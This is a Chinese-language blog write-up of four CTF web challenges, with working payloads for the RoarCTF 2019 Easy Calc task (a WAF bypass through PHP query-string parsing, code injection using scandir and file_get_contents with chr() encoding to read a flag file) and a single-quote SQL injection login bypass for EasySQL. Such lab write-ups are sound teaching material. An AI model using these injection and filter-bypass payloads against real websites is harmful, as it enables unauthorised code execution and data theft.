本篇內容:
[HCTF 2018]admin
[RoarCTF 2019]Easy Calc
[極客大挑戰 2019]EasySQL
[極客大挑戰 2019]Havefun
上一篇 | 目錄 | 下一篇
[HCTF 2018]admin
本題難度對我來講還是挺大的,雖然自己會了,但由於對flask模板注入理解不深刻,講解不好,直接放一位大佬寫的WP:HCTF2018-admin。
[RoarCTF 2019]Easy Calc
訪問網址:
查看網頁源代碼,發現如下內容:
訪問calc.php
:
發現給num參數傳正常算式可以,但是傳字母就不行了,肯定是WAF搞的鬼。
這裏利用PHP的字符串解析特性
來繞過WAF。
PHP查詢字符串在解析的過程中會將某些字符刪除或用下劃線代替。對於空白符就是刪除。
這裏WAF不允許num傳入字母,那我們可以在num前加個空格來繞過WAF。例如:
calc.php? num=phpinfo();
發現phpinfo();解析成功,那麼就看一下根目錄下有什麼東西,就要用到scandir(),構造payload:
? num=print_r(scandir('/'));
這裏由於單引號被過濾了,那就用chr()繞過,chr(47)就是斜槓/
? num=print_r(scandir(chr(47)));
接着讀取flagg文件即可,構造payload:
? num=print_r(file_get_contents('/flagg'));
這裏/=chr(47),f=chr(102),l=chr(49),a=chr(97),g=chr(103),g=chr(103)來進行繞過
? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));
拿到最終flag。
[極客大挑戰 2019]EasySQL
訪問網址,嘗試登錄
check.php?username=admin&password=123
顯示用戶名密碼錯誤。嘗試單引號注入發現報錯:
check.php?username=admin'&password=123
嘗試後發現後加%23
回顯就又正常了,%23即#
,這裏需編碼後使用。
check.php?username=admin'%23&password=123
嘗試萬能密碼 or 1=1,發現就得到了flag。
[極客大挑戰 2019]Havefun
直接查看源代碼發現:
直接嘗試一下 ?cat=dog
發現出來了flag,賊懵逼的就拿到了flag。
========================================================
上一篇-----------------------------------目錄 -----------------------------------下一篇
========================================================
轉載請註明出處。
本文網址:https://blog.csdn.net/hiahiachang/article/details/105411604
========================================================